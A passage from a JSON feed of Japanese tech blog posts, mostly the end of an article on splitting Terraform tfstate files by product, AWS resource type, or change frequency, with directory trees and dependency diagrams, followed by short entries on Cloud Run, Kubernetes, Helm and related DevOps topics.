とそれを取り巻くAWSリソースを指しています。この分割方法により、各プロダクトの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。▶ おすすめ度について【同じテナント内のプロダクト】状態の依存関係図例えば、以下のプロダクトに分割した状況と仮定します。fooプロダクトbarプロダクト共有networkコンポーネント (例:VPC、Route53)ここで仮定した状況では、各プロダクトの tfstate ファイルの依存は一方向最終的に、共有networkコンポーネントの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 同じテナント内のプロダクト---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket foo-product[\\"foo-product-tfstate
(アプリを動かすプラットフォームのAWSリソース)\\"]-..->network bar-product[\\"bar-product-tfstate
(アプリを動かすプラットフォームのAWSリソース)\\"]-..->network network[\\"network-tfstate
(Route53, VPC)\\"] end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【同じテナント内のプロダクト】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合この場合では、同じテナント内のプロダクトに分割したtfstateファイルを、異なるリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。# fooプロダクトの tfstate ファイルのリポジトリ\uD83D\uDC31 aws-foo-product-repository/├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する ...# barプロダクトの tfstate ファイルのリポジトリ\uD83D\uDC31 aws-bar-product-repository/├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する ...# 共有networkコンポーネントの tfstate ファイルのリポジトリ\uD83D\uDC31 aws-network-repository/├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── route53.tf├── vpc.tf├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...▼ 同じリポジトリの場合この場合では、同じテナント内のプロダクトに分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 foo-product/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 bar-product/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...【同じテナント内のプロダクト】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合同じテナント内のプロダクトの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、同じテナント内のプロダクトに分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 foo-product│ └── terraform.tfstate # fooプロダクトの状態を持つ│├── \uD83D\uDCC2 bar-product│ └── terraform.tfstate # barプロダクトの状態を持つ│└── \uD83D\uDCC2 network └── terraform.tfstate # networkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...AWSリソースの種類グループ別この分割方法についてAWSリソースの種類グループ別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各AWSリソースの種類グループも管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。▶ おすすめ度についてterraform_remote_stateブロック地獄になっていくため、適切な数 (3〜5個くらい) にしておくように注意が必要です。特にこの分割方法は、グループ数がどんどん増えていく可能性があります\uD83D\uDE07【種類グループ別】状態の依存関係図例えば、以下の種類グループに分割した状況と仮定します。application (Webサーバー、Appサーバー系)auth (認証/認可系)datastore (DBサーバー系)cicd (CI/CD系)monitor (監視系)network (ネットワーク系)ここで仮定した状況では、各プロダクトのtfstateファイルの依存は一方向最終的に、networkグループやauthグループの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: AWSリソースの種類グループ別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket application[\\"application-tfstate
例: ALB, API Gateway, CloudFront, EC2, ECS, EKS, SNS, など\\"] auth[\\"auth-tfstate
例: IAM, など\\"] cicd[\\"cicd-tfstate
例: Code3兄弟, など\\"] monitor[\\"monitor-tfstate
例: CloudWatch, など\\"] network[\\"network-tfstate
例: Route53, VPC, など\\"] datastore[\\"datastore-tfstate
例: ElastiCache, RDS, S3, など\\"] application-....->auth application-..->datastore application-...->network cicd-..->application datastore-..->network monitor-..->application monitor-..->datastore end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【種類グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合AWSリソースの種類グループ別の分割パターンの場合、異なるリポジトリで管理するとリポジトリが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリポジトリの場合この場合では、AWSリソースの種類グループ別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── alb.tf│ ├── api_gateway.tf│ ├── cloudfront.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── ses.tf│ ├── sns.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 auth/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 cicd/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── codebuild.tf│ ├── codecommit.tf│ ├── codedeploy.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # cicdコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # cicdコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # cicdコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 datastore/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── elasticache.tf│ ├── rds.tf│ ├── s3.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # datastoreコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # datastoreコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # datastoreコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 monitor/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudwatch.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから参照できるように、outputブロックを定義する ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...【種類グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合AWSリソースの種類グループ別の分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、AWSリソースの種類グループ別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 application│ └── terraform.tfstate # applicationコンポーネントの状態を持つ│├── \uD83D\uDCC2 auth│ └── terraform.tfstate # authコンポーネントの状態を持つ│├── \uD83D\uDCC2 cicd│ └── terraform.tfstate # cicdコンポーネントの状態を持つ│├── \uD83D\uDCC2 datastore│ └── terraform.tfstate # datastoreコンポーネントの状態を持つ│├── \uD83D\uDCC2 monitor│ └── terraform.tfstate # monitorコンポーネントの状態を持つ│└── \uD83D\uDCC2 network └── terraform.tfstate # networkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...AWSリソースの状態の変更頻度グループ別この分割方法についてAWSリソースの状態の変更頻度グループ別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各変更頻度グループの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。https://www.reddit.com/r/Terraform/comments/126jwa1/comment/jea9bjk/?utm_source=share&utm_medium=web3x&utm_name=web3xcss&utm_term=1&utm_content=share_button▶ おすすめ度について【変更頻度グループ別】状態の依存関係図例えば、以下の変更頻度グループに分割した状況と仮定します。変更高頻度グループ変更中頻度グループ変更低頻度グループここで仮定した状況では、各プロダクトのtfstateファイルの依存は一方向最終的に、変更低頻度グループの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: AWSリソースの状態の変更頻度グループ別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket high[\\"high-freq-tfstate
例: API Gateway, CloudFront, CloudWatch, IAM\\"] middle[\\"middle-freq-tfstate
例: ALB, EC2, ECS, EKS, ElastiCache, RDS, S3, SES, SNS\\"] low[\\"low-freq-tfstate
例: Route53, VPC\\"] high-...->low middle-..->low end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【変更頻度グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合AWSリソースの変更頻度グループ別の分割パターンの場合、異なるリポジトリで管理するとリポジトリが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリポジトリの場合この場合では、AWSリソースの変更頻度グループ別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 high-freq # 高頻度変更グループ│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── api_gateway.tf│ ├── cloudfront.tf│ ├── cloudwatch.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # high-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # high-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # high-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 low-freq # 低頻度変更グループ│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── route53.tf│ ├── vpc.tf│ ├── \uD83D\uDCC2 tes│ │ ├── backend.tfvars # low-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg│ │ ├── backend.tfvars # low-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd│ ├── backend.tfvars # low-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 middle-freq # 中頻度変更グループ (高頻度とも低頻度とも言えないリソース) ├── provider.tf ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── elasticache.tf ├── rds.tf ├── s3.tf ├── ses.tf ├── \uD83D\uDCC2 tes │ ├── backend.tfvars # middle-freqコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg │ ├── backend.tfvars # middle-freqコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd ├── backend.tfvars # middle-freqコンポーネントの状態を持つ tfstate ファイルを指定する ...【変更頻度グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合AWSリソースの変更頻度グループ別の分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、AWSリソースの変更頻度グループ別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 high-freq│ └── terraform.tfstate # high-freqコンポーネントの状態を持つ│├── \uD83D\uDCC2 middle-freq│ └── terraform.tfstate # middle-freqコンポーネントの状態を持つ│└── \uD83D\uDCC2 low-freq └── terraform.tfstate # low-freqコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...10. おわりにTerraformのtfstateファイルの分割パターンをもりもり布教しました。ぜひ採用してみたい分割パターンはあったでしょうか。Terraformの開発現場の具体的な要件は千差万別であり、特にtfstateファイル間の状態の依存関係は様々です。もし、この記事を参考に設計してくださる方は、分割パターンを現場に落とし込んで解釈いただけると幸いです\uD83D\uDE47\uD83C\uDFFB‍「自分を信じても…信頼に足る仲間を信じても…誰にもわからない…」(お友達の@nwiizo, 2023, Terraform Modules で再利用できるので最高ではないでしょうか?)謝辞今回、Terraformの分割パターンの収集にあたり、以下の方々からの意見・実装方法も参考にさせていただきました。@kiyo_12_07 さん@masasuzu さん@tozastation さん(アルファベット順)この場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍Terraform in Action (English Edition)作者:Winkler, ScottManningAmazonTerraform: Up and Running: Writing Infrastructure as Code作者:Brikman, YevgeniyO\'Reilly MediaAmazon","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/07/05/001756","isoDate":"2023-07-04T15:17:56.000Z","dateMiliSeconds":1688483876000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"光に負けルナ~Google Cloudでのマルチリージョンデータベースについて~","contentSnippet":"クラウドを利用する一番のメリットの一つとしてオンデマンドでリソースを調達し、アクセス負荷に応じてスケールイン・アウト出来ることが上げられます。そのため大体のアプリケーションではシングルリージョンまたは隣接するリージョン2~3程度で運用を始めることが多いと思います。(日本の場合asia-northeast-1とasia-northeast-2など)アプリケーションがグローバルに拡大すると、それだけ物理的な距離が広がりユーザ・サーバ間のアクセスにかかる時間が拡大します。例えばユーザ・サーバ共に日本にある場合(沖縄・北海道間約3,000km)、ネットワークによる遅延は片道約15ms以下...","link":"https://zenn.dev/nnaka2992/articles/to_beat_light_speed_on_google_cloud_databases","isoDate":"2023-07-03T15:39:08.000Z","dateMiliSeconds":1688398748000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"スリーシェイクに入社しました!","link":"https://bells17.medium.com/3-shake-279ea982b977?source=rss-713cf42ce34d------2","isoDate":"2023-07-03T14:10:50.000Z","dateMiliSeconds":1688393450000,"authorName":"bells17","authorId":"bells17"},{"title":"Copilotでらくらくコードリーディング","contentSnippet":"GitHub Copilot便利ですね。2021年にTechnical Previewとして発表された時から便利だ便利だと言われていたGitHub Copilotに、2023年の4月末ごろからデビューしました。デビューしたは良いものの最近は仕事ではコーディングよりアーキテクト的な方面でのお仕事が多かったり、個人の時間でもコーディングするよりOSSのコードを読むことのほうが多くコーディングのアシスタントツールとしては使いこなせていません。そのため最近はPostgreSQLのコードを読むときのアシスタントとして利用することが多いです。なのでこの記事ではCopilotでコードリーディン...","link":"https://zenn.dev/nnaka2992/articles/code_reading_with_copilot","isoDate":"2023-06-28T14:41:21.000Z","dateMiliSeconds":1687963281000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Cloud RunのSidecarでJVMのmetricsの取得してみた","contentSnippet":"概要Cloud Runのmetricsをデフォルトで取得している指標(metrics)以外の指標が他に欲しい場合、どうするのが良いのかを考えてみました。ちょうどCloud RunのSidecar機能がでたので、それを使います。他の指標を、ここではJVMのmetricsとします。Cloud Run上のJVMのmetricsが取れて何が嬉しいのかについては、一旦考えません。後にCloud Runの最大起動時間が増えた場合は、意味があるかもしれません。 構成図にすると以下のような感じになります。Cloud RunでSpring Bootアプリケーションを立ち上げClou...","link":"https://zenn.dev/satohjohn/articles/25bc5879de7832","isoDate":"2023-06-28T12:03:00.000Z","dateMiliSeconds":1687953780000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"ロクに勉強してこなかったエンジニアが輪読会参加とかPCA受験に向けて勉強とかしてみた話","contentSnippet":"この記事について40歳でフリーランスから転職をきっかけに会社員エンジニアになって、社内のエンジニアの熱意に影響を受けて勉強をはじめてみた中年エンジニアの感想とか気づきとかです。先に結論勉強する…","link":"https://qiita.com/bayobayo0324/items/56f93f50fa0115dc4d6d","isoDate":"2023-06-27T12:31:17.000Z","dateMiliSeconds":1687869077000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"やさしいERC20開発","contentSnippet":"https://cryptocurrency.connpass.com/event/287311/\\r\\rEthereumスマートコントラクトライブラリ「OpenZeppelin」を用いてERC20コントラクトをSepolia Testnetにデプロイし、基本的な操作を体験していただけます。\\r\\rRemixを使用し、OpenZeppelinを用いて基本的な送金、EOAへの委任と、\\rコントラクトへ委任し、ETHを送るとERC20が送金される自動販売機のようなスマートコントラクトの実装を行います。","link":"https://speakerdeck.com/shukob/yasasiierc20kai-fa","isoDate":"2023-06-23T04:00:00.000Z","dateMiliSeconds":1687492800000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"SRETT#6_Terraformのtfstateについて考える","contentSnippet":"","link":"https://speakerdeck.com/masasuzu/srett-number-6-terraformnotfstatenituitekao-eru","isoDate":"2023-06-22T04:00:00.000Z","dateMiliSeconds":1687406400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Terraformで実践するAWS IAM Identity Center(AWS Single Sign-On)のユーザー管理戦略","contentSnippet":"はじめにAWS IAM Identity Center(AWS Single Sign-On)を使用して、ユーザー管理を考えていく上で、Terraformを使用して構成管理を実現しようと思います。作成したコードはgithub上に上がっているので、ご参考ください…","link":"https://qiita.com/yokoo-an209/items/569ac1ba517b076e8cde","isoDate":"2023-06-21T04:05:23.000Z","dateMiliSeconds":1687320323000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"アプリ開発者のための kubectl 講座","contentSnippet":"これは何Kubernetes クラスタ管理者とアプリケーション開発者が分業しているプロジェクトで,開発者が必ずしも Kubernetes に詳しくない場合を想定し,開発時に使いそうな kubectl のコマンドをまとめたものです。クラスタ管理者から開発者にこのドキュメントを適宜改変して渡し,開発者がある程度自立して操作できるようになることで,管理者への問い合わせ負荷を減らすのが狙いです。場合によってはハンズオンで講座を開いてもよいでしょう。 ドキュメント案ここでは Amazon EKS でクラスタを構築する場合の例を示します。別のインフラに構築している場合は適宜書き換え...","link":"https://zenn.dev/toshikish/articles/6a06017747cbba","isoDate":"2023-06-19T06:03:18.000Z","dateMiliSeconds":1687154598000,"authorName":"toshikish","authorId":"toshikish"},{"title":"夏に向けて、体もコンテナイメージも減量(軽量化)させよう!","contentSnippet":"はじめにdockerで構築しているNext.jsのフロントエンドアプリケーションのimageをAmazon ECRにpushしようとしたときに、pushのあまりの遅さにびっくりしたのがことの発端で…","link":"https://qiita.com/yokoo-an209/items/0297808af40c1a74928e","isoDate":"2023-06-19T02:46:48.000Z","dateMiliSeconds":1687142808000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Terraform 静的検査ツール比較","contentSnippet":"対象tfsectflintKICSCheckovSnyk tfsechttps://github.com/aquasecurity/tfsechttps://aquasecurity.github.io/tfsec/v1.28.1 特徴CI系公式のdocker imageがあるhttps://github.com/aquasecurity/tfsec#use-with-dockerGitHub Actionがあるhttps://github.com/aquasecurity/tfsec-pr-commenter-actionGitH...","link":"https://zenn.dev/tayusa/articles/9829faf765ab67","isoDate":"2023-06-15T17:00:00.000Z","dateMiliSeconds":1686848400000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"editcap で tcpdump のキャプチャファイルから指定の時間帯を切り出す","contentSnippet":"ちょっと大きめ (時間範囲の広い) pcap ファイルがあって、wireshark で見るにしてもちょっと大きすぎるなということがありました。 見たい時間帯","link":"https://blog.1q77.com/2023/06/editcap/","isoDate":"2023-06-15T14:46:42.000Z","dateMiliSeconds":1686840402000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"GitHub の Reusable workflow で working-directory に変数を使う","contentSnippet":"やりたいことGitHub Actions の reusable workflow で,作業ディレクトリを入力変数で変えたい場合を考えます。on: workflow_call: inputs: workdir: required: true type: string うまくいかない方法ワークフロー全体のステップのデフォルト設定 defaults.run.working-directory では,現時点ではコンテキストと式が許可されていません。したがって,入力変数でディレクトリ名を受け取って上記に入れても動作しません。...","link":"https://zenn.dev/toshikish/articles/be970407f02098","isoDate":"2023-06-15T05:22:24.000Z","dateMiliSeconds":1686806544000,"authorName":"toshikish","authorId":"toshikish"},{"title":"PandocのLuaフィルタからPandoc templateを呼べるpandoc.templateモジュールがとても便利","contentSnippet":"Pandoc 3.0以降ではLuaフィルタで使えるモジュールにpandoc.templateが追加されました。これを使うとLuaフィルタ内でPandoc Templateを展開できます。","link":"https://blog.atusy.net/2023/06/12/pandoc-template-module/","isoDate":"2023-06-12T00:00:00.000Z","dateMiliSeconds":1686528000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KubeconformをGitLab CIに組み込んで、k8sのマニフェストがAPIの仕様に沿うか検査する","contentSnippet":"はじめにk8sマニフェストを普段管理していないメンバーがマニフェストのファイルを変更する場面があります。その際のレビューを出来るだけ自動化したくkubeconformを導入しました。 KubeconformマニフェストがAPIの仕様に沿うか検査してくれます。https://github.com/yannh/kubeconform自分でスキーマを用意すればIstio、Argo Rollouts、Argo Workflowsのような外部のAPIも検査できます。 スキーマの生成スキーマの生成はpythonのスクリプトが用意されているので、これをCRDを引数で渡し実行しま...","link":"https://zenn.dev/tayusa/articles/1aa96e6ceb838a","isoDate":"2023-06-11T17:19:45.000Z","dateMiliSeconds":1686503985000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"plutoをGitLab CIに組み込んで非推奨のk8s apiVersionを検出する","contentSnippet":"はじめにk8sのバージョンが上がるとAPIが再編成されたりアップグレードされたりします。新しいAPIが出ると古いAPIは非推奨になり最終的には削除されます。なので、k8sのバージョンアップ時はDeprecated API Migration Guideなどを見て非推奨のapiVersionが使われていないか確認して時には修正する必要があります。https://kubernetes.io/docs/reference/using-api/deprecation-guide/例CronJob の batch/v1beta1 -> batch/v1 plutoplu...","link":"https://zenn.dev/tayusa/articles/79a3f54d8f21bc","isoDate":"2023-06-11T17:18:13.000Z","dateMiliSeconds":1686503893000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Istio Canary Upgrade by Helm","contentSnippet":"前提helmfileを利用istioのrevisionTagを利用関係のない設定は省略 Upgradeの前にInstall ディレクトリ構成├── helmfile_istio-base.yaml├── helmfile_istio-ingressgateway.yaml├── helmfile_istiod-1-16-0.yaml└── values ├── istio-base.yaml ├── istio-ingressgateway.yaml └── istiod.yaml helmfile helmfile_isti...","link":"https://zenn.dev/tayusa/articles/03cf961e2409bd","isoDate":"2023-06-11T17:17:37.000Z","dateMiliSeconds":1686503857000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Helmに入門したので、躓いたところを振り返る","contentSnippet":"はじめにアプリのマニフェストを管理するのにKustomizeを使っていたのですが、同じようなマニフェストが乱立したので管理を楽にするためにHelmに移行しました。Helmを一から書いたのは初めてだったので、躓いた点をここに残します。 quote関数の進数変換0から始まる数値をquote関数を使って文字列にすると進数変換が起こり想定した値ではなくなる下記のようなtemplateでidとして0000000060のような値を渡すと、8進数として解釈され10進数である48に変換されてしまいます。...id: {{ .id | quote }}...0から始まる数値はtem...","link":"https://zenn.dev/tayusa/articles/e9285c6c4c09a1","isoDate":"2023-06-11T17:16:25.000Z","dateMiliSeconds":1686503785000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"ビットコイン・ブロックチェーン入門","contentSnippet":"https://cryptocurrency.connpass.com/event/286818/\\r初学者の方向けにビットコイン技術の全体像をお話ししました。","link":"https://speakerdeck.com/shukob/bitutokoinburotukutienru-men-40047fd3-985e-4c8f-b34b-1ea610be2535","isoDate":"2023-06-10T04:00:00.000Z","dateMiliSeconds":1686369600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Go言語でNetlinkを少し触った話","contentSnippet":"Go言語でNetlinkを少し触ったのでメモ。具体的にはGo言語でNetlinkというネットワーク関連のライブラリを使ってStatic 